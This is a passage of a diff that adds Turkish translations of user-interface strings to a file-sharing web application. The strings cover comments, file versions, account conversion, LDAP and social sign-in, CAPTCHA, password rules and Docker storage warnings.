alınabilir şekilde silinecek bir veritabanı kaydı yoktur — gittiğinde dönüşü olmaz.", + "Unlimited storage": "Sınırsız depolama", + "Update :count files": ":count dosyayı güncelle", + "Uploaded and shared": "Yüklendi ve paylaşıldı", + "Uploaded by client": "Müşteri tarafından yüklendi", + "Uploaded by me": "Benim yüklediklerim", + "Uploaded by the client, or assigned to them directly, via a group, or via a shared folder.": "Müşteri tarafından yüklenen ya da ona doğrudan, bir grup üzerinden veya paylaşılan bir klasör üzerinden atanan.", + "Uploading into \":name\".": "\":name\" içine yükleniyor.", + "Upload settings saved.": "Yükleme ayarları kaydedildi.", + "Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.": "Yükleme ayarları kaydedildi. Uyarı: :extensions uzantılarına izin vermek tehlikeli olabilir — riski anlıyorsanız listede bırakın.", + "used": "kullanıldı", + "Used in the public folder URL.": "Herkese açık klasörün adresinde kullanılır.", + "Use external storage for new uploads": "Yeni yüklemeler için harici depolama kullan", + "Use path-style addressing": "Yol tabanlı adresleme kullan", + "View all downloads (:count)": "Tüm indirmeleri gör (:count)", + "View full history (:count)": "Tüm geçmişi gör (:count)", + "View release notes": "Sürüm notlarını gör", + "View release notes on GitHub": "Sürüm notlarını GitHub'da gör", + "Visitor": "Ziyaretçi", + "Visitors who are not logged in can only write public comments, so this has no effect until you allow public comments below.": "Giriş yapmamış ziyaretçiler yalnızca herkese açık yorum yazabilir; bu nedenle aşağıdan herkese açık yorumlara izin verene kadar bunun bir etkisi olmaz.", + "What happens to a file once it expires, or once one turns up unclaimed on disk": "Bir dosyanın süresi dolduğunda ya da diskte sahipsiz olarak ortaya çıktığında ne olacağı", + "Where": "Nerede", + "Whether scheduled tasks are actually running, and any queued email that failed to send": "Zamanlanmış görevlerin gerçekten çalışıp çalışmadığı ve kuyruktaki hangi e-postaların gönderilemediği", + "Who can comment on files, and which files accept comments": "Dosyalara kimlerin yorum yapabileceği ve hangi dosyaların yorum kabul ettiği", + "Who can see this": "Bunu kimler görebilir", + "Who can write a comment": "Kimler yorum yazabilir", + "Write a comment…": "Bir yorum yazın…", + "You cannot grant permissions your own role does not have: :permissions": "Kendi rolünüzde bulunmayan izinleri veremezsiniz: :permissions", + "You need upload permission to create folders": "Klasör oluşturmak için yükleme izniniz olmalı", + "Your comment will be reviewed before it appears.": "Yorumunuz görünmeden önce incelenecek.", + "Your name": "Adınız", + "— No change —": "— Değişiklik yok —", + "Newest first": "En yeniler başta", + "Oldest first": "En eskiler başta", + "Name (A–Z)": "Ad (A–Z)", + "Name (Z–A)": "Ad (Z–A)", + "Largest first": "En büyükler başta", + "Smallest first": "En küçükler başta", + "Transfers": "Aktarımlar", + "Top clients by storage": "Depolamaya göre önde gelen müşteriler", + "Largest files": "En büyük dosyalar", + "Expired files": "Süresi dolmuş dosyalar", + "A private note. Nobody else can read it, staff included.": "Özel bir not. Başka kimse okuyamaz, ekip bile.", + "Reply": "Yanıtla", + "Replying to :name": ":name kişisine yanıt", + "The team working on this file. No client ever sees it.": "Bu dosya üzerinde çalışan ekip. Hiçbir müşteri bunu görmez.", + "With :name": ":name ile", + "Your reply goes to :name only, and to staff.": "Yanıtınız yalnızca :name kişisine ve ekibe gider.", + "Your reply goes to the same people as the comment above.": "Yanıtınız, yukarıdaki yorumla aynı kişilere gider.", + "Public comments are turned off for this site.": "Bu sitede herkese açık yorumlar kapalı.", + "Only a file that is publicly visible can have public comments.": "Yalnızca herkese görünür bir dosyanın herkese açık yorumu olabilir.", + "The team, and everyone this file is shared with. Clients cannot see each other.": "Ekip ve bu dosyanın paylaşıldığı herkes. Müşteriler birbirini göremez.", + "Everyone above, plus anyone who opens this file without logging in.": "Yukarıdakilerin tümü, ayrıca bu dosyayı giriş yapmadan açan herkes.", + "Not signed in": "Giriş yapılmadı", + "New comment on \":name\"": "\":name\" için yeni yorum", + ":author commented on \":name\".": ":author, \":name\" için yorum yaptı.", + ":author commented on \":name\"": ":author, \":name\" için yorum yaptı", + "Read the comment": "Yorumu oku", + ":count new comments": ":count yeni yorum", + "There are :count new comments for you:": "Sizin için :count yeni yorum var:", + "Someone": "Biri", + "New comment on a file": "Bir dosyaya yeni yorum", + "Multiple new comments (digest)": "Birden fazla yeni yorum (özet)", + "Marked the file \":subject\" as a revision of \":previous\"": "\":subject\" dosyasını \":previous\" dosyasının yeni sürümü olarak işaretledi", + "Removed the version link from the file \":subject\"": "\":subject\" dosyasından sürüm bağını kaldırdı", + "A file was marked as a revision of another": "Bir dosya, bir başkasının yeni sürümü olarak işaretlendi", + "A file version link was removed": "Bir sürüm bağı kaldırıldı", + "A newer version of a file I have is available": "Sahip olduğum bir dosyanın daha yeni bir sürümü var", + "A newer version of \":previousName\" is available: :itemName": "\":previousName\" dosyasının daha yeni bir sürümü var: :itemName", + "A newer version of a file you have is available": "Sahip olduğunuz bir dosyanın daha yeni bir sürümü var", + "\":previous\" has been replaced by a newer version: \":name\".": "\":previous\", daha yeni bir sürümle değiştirildi: \":name\".", + ":count files you have were replaced by newer versions": "Sahip olduğunuz :count dosya daha yeni sürümlerle değiştirildi", + "Newer versions of the following :count files are available:": "Şu :count dosyanın daha yeni sürümleri mevcut:", + ":previous → :name": ":previous → :name", + "A file cannot be a revision of itself.": "Bir dosya kendisinin yeni sürümü olamaz.", + "That file is already part of this file's version history.": "Bu dosya zaten bu dosyanın sürüm geçmişinin bir parçası.", + "That file has already been revised by \":name\". Remove that link first.": "Bu dosya zaten \":name\" tarafından yenilenmiş. Önce o bağı kaldırın.", + "That file has just been revised by another file. Reload and try again.": "Bu dosya az önce başka bir dosyayla yenilendi. Sayfayı yenileyip tekrar deneyin.", + "This version history is too long. Remove an older link first.": "Bu sürüm geçmişi çok uzun. Önce daha eski bir bağı kaldırın.", + "That file can't be used as the previous version.": "Bu dosya önceki sürüm olarak kullanılamaz.", + "This file is already shared with other people, so it can't be marked as a new version. Ask your contact to do it for you.": "Bu dosya başka kişilerle zaten paylaşıldığı için yeni sürüm olarak işaretlenemez. Bunu sizin için yapmasını ilgili kişiden isteyin.", + "This file is a new version of \":name\". Manage sharing on \":name\" instead — every version follows it.": "Bu dosya \":name\" dosyasının yeni bir sürümü. Paylaşımı bunun yerine \":name\" üzerinden yönetin — her sürüm onu izler.", + "This file is a new version of another file, and is shared with the same people as that one.": "Bu dosya, başka bir dosyanın yeni sürümüdür ve onunla aynı kişilerle paylaşılır.", + "Versions": "Sürümler", + "Mark this file as a newer version of something you uploaded before.": "Bu dosyayı, daha önce yüklediğiniz bir şeyin daha yeni sürümü olarak işaretleyin.", + "This version is outdated": "Bu sürüm güncelliğini yitirmiş", + "It was replaced by \":name\".": "\":name\" ile değiştirildi.", + "This file is a new version of": "Bu dosya şunun yeni sürümü:", + "Remove link": "Bağı kaldır", + "Mark as a new version": "Yeni sürüm olarak işaretle", + "Version history": "Sürüm geçmişi", + "Version link removed.": "Sürüm bağı kaldırıldı.", + "This file is now marked as a new version of \":name\".": "Bu dosya artık \":name\" dosyasının yeni sürümü olarak işaretli.", + "Share this file's recipients with the original?": "Bu dosyanın alıcıları özgün dosyaya da eklensin mi?", + "A new version is shared with the same people as the original. These recipients of this file will be added to it, so nobody loses access:": "Yeni bir sürüm, özgün dosyayla aynı kişilerle paylaşılır. Bu dosyanın şu alıcıları ona eklenecek, böylece kimse erişimini kaybetmeyecek:", + "No other files are available to link to.": "Bağlanabilecek başka dosya yok.", + "Shared through \":name\"": "\":name\" üzerinden paylaşıldı", + "This file is a new version of \":name\", so it is shared with the same people. Changing who can see it means changing that file.": "Bu dosya \":name\" dosyasının yeni bir sürümü olduğu için onunla aynı kişilerle paylaşılır. Kimin görebileceğini değiştirmek, o dosyayı değiştirmek demektir.", + "Edit sharing on \":name\"": "\":name\" dosyasının paylaşımını düzenle", + "You don't have permission to change who that file is shared with.": "O dosyanın kimlerle paylaşıldığını değiştirme izniniz yok.", + "This is a new version of \":name\" and is shared with the same people. Manage sharing on that file.": "Bu, \":name\" dosyasının yeni bir sürümü ve onunla aynı kişilerle paylaşılıyor. Paylaşımı o dosya üzerinden yönetin.", + "New version of": "Şunun yeni sürümü:", + "Replaced by": "Yerine geçen", + "Outdated": "Güncelliğini yitirmiş", + "New version": "Yeni sürüm", + "Replaced by :name": ":name ile değiştirildi", + "Replaces :name": ":name yerine geçer", + "There is a newer version of this file": "Bu dosyanın daha yeni bir sürümü var", + "This replaces": "Bu, şunun yerine geçer:", + "This is a new version of a file I uploaded before": "Bu, daha önce yüklediğim bir dosyanın yeni sürümü", + "Search your files…": "Dosyalarınızda ara…", + "You have no earlier files that can be replaced.": "Değiştirilebilecek daha önceki bir dosyanız yok.", + "This file will be shared with the same people who have \":name\".": "Bu dosya, \":name\" dosyasına sahip olan kişilerle paylaşılacak.", + ":name (group)": ":name (grup)", + "Search files…": "Dosyalarda ara…", + "Search…": "Ara…", + "Searching…": "Aranıyor…", + "No files match \":search\".": "\":search\" ile eşleşen dosya yok.", + "Nothing matches \":search\".": "\":search\" ile eşleşen bir şey yok.", + "A client account was converted to staff": "Bir müşteri hesabı ekip hesabına dönüştürüldü", + "A staff account was converted to a client": "Bir ekip hesabı müşteri hesabına dönüştürüldü", + "A client account was created from the directory": "Dizinden bir müşteri hesabı oluşturuldu", + "Converted the client account \":subject\" to staff (:role)": "\":subject\" müşteri hesabını ekip hesabına dönüştürdü (:role)", + "Converted the staff account \":subject\" to a client": "\":subject\" ekip hesabını müşteri hesabına dönüştürdü", + "Created a client account from the directory on first sign-in": "İlk girişte dizinden bir müşteri hesabı oluşturdu", + "Convert accounts": "Hesap dönüştürme", + "Convert": "Dönüştür", + "Convert to client": "Müşteriye dönüştür", + "Convert to staff": "Ekip hesabına dönüştür", + "Convert :name to a client": ":name hesabını müşteriye dönüştür", + "Convert :name to staff": ":name hesabını ekip hesabına dönüştür", + "Client → staff": "Müşteri → ekip", + "Staff → client": "Ekip → müşteri", + "Move an account between staff and clients. Files they uploaded are always kept.": "Bir hesabı ekip ile müşteriler arasında taşıyın. Yüklediği dosyalar her zaman korunur.", + "They lose access to every staff screen immediately.": "Tüm ekip ekranlarına erişim hemen sona erer.", + "They gain access to the staff screens their role allows.": "Rolünün izin verdiği ekip ekranlarına erişim kazanılır.", + "Will be revoked": "İptal edilecek", + "Will be revoked and cannot be undone": "İptal edilecek ve geri alınamayacak", + "Will be kept": "Korunacak", + "Nothing": "Hiçbir şey", + "Nothing to keep": "Korunacak bir şey yok", + "Converting back restores everything under \"Will be kept\". It does not restore what was revoked.": "Geri dönüştürmek, \"Korunacak\" altındaki her şeyi geri getirir. İptal edilenleri geri getirmez.", + ":files files and :folders folders they uploaded": "Bu hesabın yüklediği :files dosya ve :folders klasör", + "No accounts match these filters.": "Bu filtrelere uyan hesap yok.", + "Account converted to a client.": "Hesap müşteriye dönüştürüldü.", + "Account converted to staff.": "Hesap ekip hesabına dönüştürüldü.", + "Approve or deny this account request before converting it.": "Dönüştürmeden önce bu hesap başvurusunu onaylayın ya da reddedin.", + "You cannot convert your own account.": "Kendi hesabınızı dönüştüremezsiniz.", + "New password": "Yeni parola", + "New password (optional)": "Yeni parola (isteğe bağlı)", + "Leave blank to keep their current password.": "Mevcut parolayı korumak için boş bırakın.", + "This account signs in through your directory. Staff accounts never do, so it needs a password here or they will not be able to sign in at all.": "Bu hesap dizininiz üzerinden giriş yapıyor. Ekip hesapları bunu hiç yapmaz; bu yüzden burada bir parolaya ihtiyacı var, aksi halde hiç giriş yapamaz.", + "Set a password for this account. It signs in through your directory today, and staff accounts never do.": "Bu hesap için bir parola belirleyin. Şu anda dizininiz üzerinden giriş yapıyor; ekip hesapları ise bunu hiç yapmaz.", + "Tokens created": "Oluşturulan belirteçler", + "Currently active": "Şu an etkin", + ":count active": ":count etkin", + "1 permission": "1 izin", + ":count permissions": ":count izin", + "This token carries no permissions.": "Bu belirteç hiçbir izin taşımıyor.", + "This account has created API tokens before, but none are live now.": "Bu hesap daha önce API belirteci oluşturmuş, ancak şu an etkin olan yok.", + "This account has never created an API token.": "Bu hesap hiç API belirteci oluşturmadı.", + "No longer granted to this account, so it does nothing.": "Bu hesaba artık verilmiyor, bu yüzden hiçbir işe yaramıyor.", + "Only :name can create, change or revoke these — an administrator can see them, but not manage them.": "Bunları yalnızca :name oluşturabilir, değiştirebilir veya iptal edebilir — bir yönetici görebilir ama yönetemez.", + "What this token is allowed to do through the API. It can never do more than :name may.": "Bu belirtecin API üzerinden neler yapabileceği. :name kişisinin yapabileceğinden fazlasını asla yapamaz.", + "LDAP": "LDAP", + "LDAP settings": "LDAP ayarları", + "LDAP settings saved.": "LDAP ayarları kaydedildi.", + "Directory": "Dizin", + "Connection": "Bağlantı", + "Server": "Sunucu", + "Base DN": "Temel DN", + "Service account DN": "Hizmet hesabı DN'si", + "Service account password": "Hizmet hesabı parolası", + "Email attribute": "E-posta özniteliği", + "Name attribute": "Ad özniteliği", + "Additional filter (optional)": "Ek filtre (isteğe bağlı)", + "CA certificate path (optional)": "CA sertifikası yolu (isteğe bağlı)", + "None (unencrypted)": "Yok (şifrelenmemiş)", + "StartTLS": "StartTLS", + "LDAPS (implicit TLS)": "LDAPS (örtük TLS)", + "Allow clients to sign in with a directory account": "Müşterilerin dizin hesabıyla giriş yapmasına izin ver", + "Let clients sign in with their directory account. Staff always authenticate locally.": "Müşterilerin dizin hesaplarıyla giriş yapmasına izin verin. Ekip her zaman yerel olarak doğrulanır.", + "Create an account on first sign-in": "İlk girişte hesap oluştur", + "Directory accounts are always created as clients, never as staff.": "Dizin hesapları her zaman müşteri olarak oluşturulur, asla ekip olarak değil.", + "Someone in the directory with no account here gets a client account and is signed in immediately.": "Dizinde olup burada hesabı olmayan biri, bir müşteri hesabı alır ve hemen giriş yapar.", + "Someone in the directory with no account here gets a client account that waits in Account requests for approval.": "Dizinde olup burada hesabı olmayan biri, Hesap başvurularında onay bekleyen bir müşteri hesabı alır.", + "Only people who already have an account here can sign in.": "Yalnızca burada zaten hesabı olan kişiler giriş yapabilir.", + "Combined with the address match, to narrow who may sign in.": "Kimlerin giriş yapabileceğini daraltmak için adres eşleşmesiyle birlikte kullanılır.", + "The attribute holding the address people sign in with — usually mail.": "Kişilerin giriş yaparken kullandığı adresi tutan öznitelik — genellikle mail.", + "Where in the tree to look for people.": "Ağaç yapısında kişilerin nerede aranacağı.", + "Leave blank to search anonymously.": "Anonim arama yapmak için boş bırakın.", + "Stored encrypted, and never shown again.": "Şifrelenerek saklanır ve bir daha gösterilmez.", + "Stored encrypted. Leave blank to keep the current one.": "Şifrelenerek saklanır. Mevcut olanı korumak için boş bırakın.", + "For a directory presenting a certificate from your own certificate authority.": "Kendi sertifika yetkilinizden bir sertifika sunan dizinler için.", + "Unencrypted: the service account password and every client password cross the network in clear text.": "Şifrelenmemiş: hizmet hesabı parolası ve her müşteri parolası ağ üzerinden düz metin olarak geçer.", + "When a client’s password is not recognised locally, it is checked against the directory. Staff accounts always authenticate locally and are never sent to it.": "Bir müşterinin parolası yerelde tanınmazsa dizine karşı denetlenir. Ekip hesapları her zaman yerel olarak doğrulanır ve oraya hiç gönderilmez.", + "The PHP LDAP extension is not installed on this server, so these settings cannot take effect.": "Bu sunucuda PHP LDAP eklentisi kurulu değil, bu yüzden bu ayarlar etkili olamaz.", + "The PHP LDAP extension is not installed on this server.": "Bu sunucuda PHP LDAP eklentisi kurulu değil.", + "Saves are not required to test — but the test uses the settings as last saved.": "Sınamak için kaydetmek gerekmez — ancak sınama, en son kaydedilen ayarları kullanır.", + "Test a sign-in": "Bir girişi sına", + "Email address (optional)": "E-posta adresi (isteğe bağlı)", + "Password (optional)": "Parola (isteğe bağlı)", + "Connected and bound as the service account.": "Bağlanıldı ve hizmet hesabı olarak doğrulandı.", + "Could not connect or bind as the service account: :error": "Hizmet hesabı olarak bağlanılamadı veya doğrulanamadı: :error", + "Found a matching entry.": "Eşleşen bir kayıt bulundu.", + "No directory entry matched that address under the base DN.": "Temel DN altında bu adresle eşleşen bir dizin kaydı yok.", + "The directory rejected that password.": "Dizin bu parolayı reddetti.", + "The search failed: :error": "Arama başarısız oldu: :error", + "The sign-in bind failed: :error": "Giriş doğrulaması başarısız oldu: :error", + "Signed in successfully.": "Giriş başarılı.", + "1 item": "1 öğe", + ":count items": ":count öğe", + "1 API token": "1 API belirteci", + ":count API tokens": ":count API belirteci", + "1 assigned client": "1 atanmış müşteri", + ":count assigned clients": ":count atanmış müşteri", + "Managed by 1 staff member": "1 ekip üyesi tarafından yönetiliyor", + "Managed by :count staff members": ":count ekip üyesi tarafından yönetiliyor", + "1 group membership": "1 grup üyeliği", + ":count group memberships": ":count grup üyeliği", + "1 file shared with them": "Bu hesapla paylaşılan 1 dosya", + ":count files shared with them": "Bu hesapla paylaşılan :count dosya", + "Approve these accounts automatically": "Bu hesapları kendiliğinden onayla", + "Your directory has already established who they are, so there is nobody to vet. Leave this off to review each one in Account requests first.": "Dizininiz kimliklerini zaten belirlemiş, dolayısıyla incelenecek kimse yok. Her birini önce Hesap başvurularında gözden geçirmek için bunu kapalı bırakın.", + "Clients who register themselves are approved automatically — this setting is separate, and does not follow it.": "Kendi kaydolan müşteriler kendiliğinden onaylanır — bu ayar bağımsızdır ve onu izlemez.", + "Clients who register themselves still wait for approval — this setting is separate, and does not change that.": "Kendi kaydolan müşteriler yine de onay bekler — bu ayar bağımsızdır ve bunu değiştirmez.", + "Container filesystem": "Kapsayıcı dosya sistemi", + "Docker volume": "Docker birimi", + "Files stored on": "Dosyaların saklandığı yer", + "Host directory": "Ana makine dizini", + "That means docker compose down -v and docker volume prune both delete them, and a backup of your server can miss them entirely.": "Bu, docker compose down -v ve docker volume prune komutlarının ikisinin de onları sileceği ve sunucunuzun yedeğinin onları tümüyle atlayabileceği anlamına gelir.", + "They are not on any volume, so rebuilding or recreating this container will permanently delete every file. Move them to a directory on the host before uploading anything else.": "Hiçbir birim üzerinde değiller; bu nedenle bu kapsayıcıyı yeniden derlemek veya yeniden oluşturmak her dosyayı kalıcı olarak siler. Başka bir şey yüklemeden önce onları ana makinedeki bir dizine taşıyın.", + "They survive upgrades, but they live in a Docker-managed volume rather than a directory you chose.": "Yükseltmelerden sağ çıkarlar, ancak sizin seçtiğiniz bir dizinde değil, Docker'ın yönettiği bir birimde dururlar.", + "They survive upgrades, but they live in the Docker volume :volume rather than a directory you chose.": "Yükseltmelerden sağ çıkarlar, ancak sizin seçtiğiniz bir dizinde değil, :volume adlı Docker biriminde dururlar.", + "Uploaded files are inside Docker": "Yüklenen dosyalar Docker'ın içinde", + "Uploaded files are stored inside the container": "Yüklenen dosyalar kapsayıcının içinde saklanıyor", + "1 more language available": "1 dil daha mevcut", + ":count more languages available": ":count dil daha mevcut", + ":left of :limit downloads left": ":limit indirmeden :left tanesi kaldı", + ":limit downloads per person": "Kişi başına :limit indirme", + ":name will sign in with just their password until they set it up again, and will be emailed about this change. If two-factor authentication is required on this site, they will be asked to enrol again at their next sign-in.": ":name yeniden kuruncaya kadar yalnızca parolasıyla oturum açacak ve bu değişiklik hakkında e-posta alacak. Bu sitede iki adımlı doğrulama zorunluysa, bir sonraki oturum açışında yeniden kaydolması istenecek.", + ":provider accepted your secret key.": ":provider gizli anahtarınızı kabul etti.", + ":provider connected.": ":provider bağlandı.", + ":provider did not provide an email address, which is required to sign in.": ":provider oturum açmak için gerekli olan e-posta adresini sağlamadı.", + ":provider disconnected.": ":provider bağlantısı kesildi.", + ":provider never reports whether an address is verified, so with this on it can create new accounts but can never sign in to an existing one. Connecting it from Settings while already signed in still works.": ":provider bir adresin doğrulanıp doğrulanmadığını asla bildirmez, bu yüzden bu açıkken yeni hesaplar oluşturabilir ama var olan bir hesapta asla oturum açamaz. Zaten oturum açmışken Ayarlar'dan bağlamak yine de çalışır.", + ":provider rejected your secret key.": ":provider gizli anahtarınızı reddetti.", + ":provider settings saved.": ":provider ayarları kaydedildi.", + ":used of :limit downloads used": ":limit indirmeden :used tanesi kullanıldı", + "A :provider account was connected": "Bir :provider hesabı bağlandı", + "A :provider account was disconnected": "Bir :provider hesabının bağlantısı kesildi", + "Accounts at :domain cannot sign in with :provider here.": ":domain hesapları burada :provider ile oturum açamaz.", + "A client account was created from :provider": ":provider üzerinden bir istemci hesabı oluşturuldu", + "Allowed email domains": "İzin verilen e-posta alan adları", + "Allow signing in with :provider": ":provider ile oturum açmaya izin ver", + "Always a client account. Staff accounts are only ever created by an administrator.": "Her zaman bir istemci hesabı. Ekip hesapları yalnızca bir yönetici tarafından oluşturulur.", + "Always available — the application is written in English, so it needs no translation file.": "Her zaman kullanılabilir — uygulama İngilizce yazıldığından çeviri dosyasına ihtiyaç duymaz.", + "An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.": "Bir hesap bu e-posta adresini zaten kullanıyor ve :provider bunun size ait olduğunu doğrulamadı. Bunun yerine parolanızla oturum açıp :provider hizmetini ayarlarınızdan bağlayın.", + "An address the provider has not confirmed can never be matched to an account that already exists here. Turning this off means anyone who can register at your provider under someone else’s address can sign in as them.": "Sağlayıcının doğrulamadığı bir adres, burada zaten var olan bir hesapla asla eşleştirilemez. Bunu kapatmak, sağlayıcınıza başkasının adresiyle kaydolabilen herkesin o kişi olarak oturum açabilmesi anlamına gelir.", + "An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.": "Bir yönetici hesabınızdan iki adımlı doğrulamayı kaldırdı. Güvenlik ayarlarınızdan yeniden kurabilirsiniz. Bunu beklemiyorsanız yöneticinizle iletişime geçin.", + "Anyone who can reach a file sees the categories assigned to it — a client in their portal, or anyone holding a public or shared link. Signed-in clients can also filter their files by any category in this list. Only your team can create, rename or delete them.": "Bir dosyaya erişebilen herkes ona atanan kategorileri görür — portalındaki bir istemci ya da herkese açık veya paylaşılan bir bağlantıya sahip herhangi biri. Oturum açmış istemciler ayrıca dosyalarını bu listedeki herhangi bir kategoriye göre süzebilir. Bunları yalnızca ekibiniz oluşturabilir, yeniden adlandırabilir veya silebilir.", + "Applies whenever a password is chosen, not when one is used to sign in": "Bir parola her seçildiğinde geçerlidir, oturum açmak için kullanıldığında değil", + "Approve those accounts automatically": "Bu hesapları otomatik olarak onayla", + "A secret is stored. Leave this blank to keep it.": "Bir gizli anahtar kayıtlı. Korumak için burayı boş bırakın.", + "At least :count characters.": "En az :count karakter.", + "Between 0.0 (treat everyone as a bot) and 1.0 (treat everyone as human). The usual value is 0.5.": "0.0 (herkesi bot say) ile 1.0 (herkesi insan say) arasında. Olağan değer 0.5'tir.", + "CAPTCHA": "CAPTCHA", + "CAPTCHA is currently switched off. Choose a provider and enter its keys to switch it on.": "CAPTCHA şu anda kapalı. Açmak için bir sağlayıcı seçip anahtarlarını girin.", + "CAPTCHA settings saved.": "CAPTCHA ayarları kaydedildi.", + "Categories are visible outside your team": "Kategoriler ekibinizin dışında görünür", + "Change yours": "Kendinizinkini değiştirin", + "Checks new passwords against the Have I Been Pwned breach corpus. The password itself never leaves this server — only the first five characters of its hash are sent.": "Yeni parolaları Have I Been Pwned sızıntı veritabanıyla karşılaştırır. Parolanın kendisi bu sunucudan asla çıkmaz — yalnızca özetinin ilk beş karakteri gönderilir.", + "Checks the secret key with your provider. Nobody has to solve a challenge.": "Gizli anahtarı sağlayıcınızla doğrular. Kimsenin bir doğrulama çözmesi gerekmez.", + "Client ID": "İstemci kimliği", + "Client registration": "İstemci kaydı", + "Client secret": "İstemci gizli anahtarı", + "Cloudflare Turnstile": "Cloudflare Turnstile", + "Comma separated. Leave blank to allow any address.": "Virgülle ayrılmış. Herhangi bir adrese izin vermek için boş bırakın.", + "Comments from visitors": "Ziyaretçilerden gelen yorumlar", + "Complete the security check and try again.": "Güvenlik kontrolünü tamamlayıp yeniden deneyin.", + "Configure it myself": "Kendim yapılandırayım", + "Connected": "Bağlı", + "Connected accounts": "Bağlı hesaplar", + "Connected the :provider account of \":subject\"": "\":subject\" kullanıcısının :provider hesabını bağladı", + "Continue with :provider": ":provider ile devam et", + "Could not reach :provider: :error": ":provider hizmetine ulaşılamadı: :error", + "Created a client account from :provider on first sign-in": "İlk oturum açışta :provider üzerinden bir istemci hesabı oluşturdu", + "Dates and times across the app are shown in this zone. Detected from your browser the first time you signed in.": "Uygulamadaki tarih ve saatler bu dilimde gösterilir. İlk oturum açtığınızda tarayıcınızdan algılandı.", + "Default language": "Varsayılan dil", + "Directory (tenant) ID": "Dizin (kiracı) kimliği", + "Disabled": "Devre dışı", + "Disconnect": "Bağlantıyı kes", + "Disconnected the :provider account of \":subject\"": "\":subject\" kullanıcısının :provider hesabının bağlantısını kesti", + "Downloaded :count time(s) so far. Your own downloads never count.": "Şimdiye kadar :count kez indirildi. Kendi indirmeleriniz asla sayılmaz.", + "Download limit": "İndirme sınırı", + "Download limit reached": "İndirme sınırına ulaşıldı", + "Each person separately": "Her kişi ayrı ayrı", + "Enabled": "Etkin", + "Enter a secret key first.": "Önce bir gizli anahtar girin.", + "Enter a specific tenant ID. The shared \"common\", \"organizations\" and \"consumers\" endpoints let any Microsoft tenant assert any email address.": "Belirli bir kiracı kimliği girin. Paylaşılan \"common\", \"organizations\" ve \"consumers\" uç noktaları herhangi bir Microsoft kiracısının herhangi bir e-posta adresini öne sürmesine izin verir.", + "Every language installed on this server is listed below. Tick the ones you want offered in the language menu — staff, clients and public visitors will only see those. Installing another language is a matter of adding its translation file to the lang folder.": "Bu sunucuda yüklü tüm diller aşağıda listelenmiştir. Dil menüsünde sunmak istediklerinizi işaretleyin — ekip, istemciler ve herkese açık ziyaretçiler yalnızca onları görür. Başka bir dil yüklemek, çeviri dosyasını lang klasörüne eklemekten ibarettir.", + "Existing passwords are never re-checked, so raising this only affects passwords chosen from now on.": "Mevcut parolalar asla yeniden denetlenmez, bu yüzden bunu yükseltmek yalnızca bundan sonra seçilen parolaları etkiler.", + "Facebook": "Facebook", + "GitHub": "GitHub", + "Google": "Google", + "In total, across everyone": "Herkes genelinde toplam", + "Issuer URL": "Veren URL'si", + "Languages": "Diller", + "Language settings": "Dil ayarları", + "Leave empty for a file that can be downloaded any number of times.": "İstenilen sayıda indirilebilen bir dosya için boş bırakın.", + "Length is the single biggest factor in how hard a password is to guess, which is why there are no \"must contain a capital letter\" rules here — they push people towards predictable substitutions and shorter passwords.": "Bir parolanın tahmin edilmesinin ne kadar zor olduğunda en büyük etken uzunluktur, bu yüzden burada \"büyük harf içermeli\" gibi kurallar yoktur — bunlar insanları öngörülebilir değişimlere ve daha kısa parolalara iter.", + "Let people sign in with an account they already have somewhere else.": "İnsanların başka bir yerde zaten sahip oldukları bir hesapla oturum açmalarına izin verin.", + "LinkedIn": "LinkedIn", + "Microsoft": "Microsoft", + "Minimum length": "En az uzunluk", + "No limit": "Sınır yok", + "None selected": "Hiçbiri seçilmedi", + "No sign-in providers have been set up for this site.": "Bu site için hiçbir oturum açma sağlayıcısı kurulmadı.", + "Not connected": "Bağlı değil", + "Off means they wait in Account requests. An address the provider did not verify always waits, whatever this says.": "Kapalı, Hesap istekleri'nde beklemeleri anlamına gelir. Sağlayıcının doğrulamadığı bir adres, bu ne derse desin her zaman bekler.", + "Off — no CAPTCHA": "Kapalı — CAPTCHA yok", + "OpenID Connect": "OpenID Connect", + "Or continue with": "Ya da şununla devam edin", + "Or sign up with": "Ya da şununla kaydolun", + "Passwords": "Parolalar", + "Passwords that appear in known data breaches are not accepted.": "Bilinen veri sızıntılarında görünen parolalar kabul edilmez.", + "Protection": "Koruma", + "Protect these forms": "Bu formları koru", + "Protect your public forms from automated abuse": "Herkese açık formlarınızı otomatik kötüye kullanıma karşı koruyun", + "reCAPTCHA v2": "reCAPTCHA v2", + "reCAPTCHA v3": "reCAPTCHA v3", + "Redirect URI": "Yönlendirme URI'si", + "Register this exact address with :provider. It must match character for character.": "Tam olarak bu adresi :provider ile kaydedin. Karakteri karakterine uymalıdır.", + "Reject passwords found in known data breaches": "Bilinen veri sızıntılarında bulunan parolaları reddet", + "Removed two-factor authentication from \":subject\"": "\":subject\" kullanıcısından iki adımlı doğrulamayı kaldırdı", + "Remove the limit": "Sınırı kaldır", + "Remove two-factor authentication": "İki adımlı doğrulamayı kaldır", + "Remove two-factor authentication?": "İki adımlı doğrulama kaldırılsın mı?", + "Require a verified email address": "Doğrulanmış bir e-posta adresi iste", + "Run these as the user your web server runs as. INSTALL.md has the full procedure.": "Bunları web sunucunuzun çalıştığı kullanıcı olarak çalıştırın. Tüm yordam INSTALL.md dosyasındadır.", + "Score threshold": "Puan eşiği", + "Search timezones…": "Saat dilimlerini ara…", + "Security check failed. Please try again.": "Güvenlik kontrolü başarısız oldu. Lütfen yeniden deneyin.", + "Service": "Hizmet", + "Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.": "Bu hesap için bir parola belirleyin. Hiç parolası olmadı — bağlı bir sağlayıcı üzerinden oturum açıyor ve bir ekip hesabının bu uygulamanın kendi başına doğrulayabileceği bir kimlik bilgisine ihtiyacı var.", + "Signed-in visitors are never asked to solve a challenge when commenting.": "Oturum açmış ziyaretçilerden yorum yaparken asla bir doğrulama çözmeleri istenmez.", + "Sign in": "Oturum aç", + "Sign in with an account you already have somewhere else.": "Başka bir yerde zaten sahip olduğunuz bir hesapla oturum açın.", + "Site key": "Site anahtarı", + "Social login": "Sosyal oturum açma", + "Stored encrypted and never shown again, not even to you.": "Şifrelenmiş olarak saklanır ve size bile bir daha gösterilmez.", + "Stored — leave blank to keep it": "Kayıtlı — korumak için boş bırakın", + "Testing…": "Deneniyor…", + "Test keys": "Anahtarları dene", + "That :provider account is already connected to another account here.": "Bu :provider hesabı burada zaten başka bir hesaba bağlı.", + "That sign-in could not 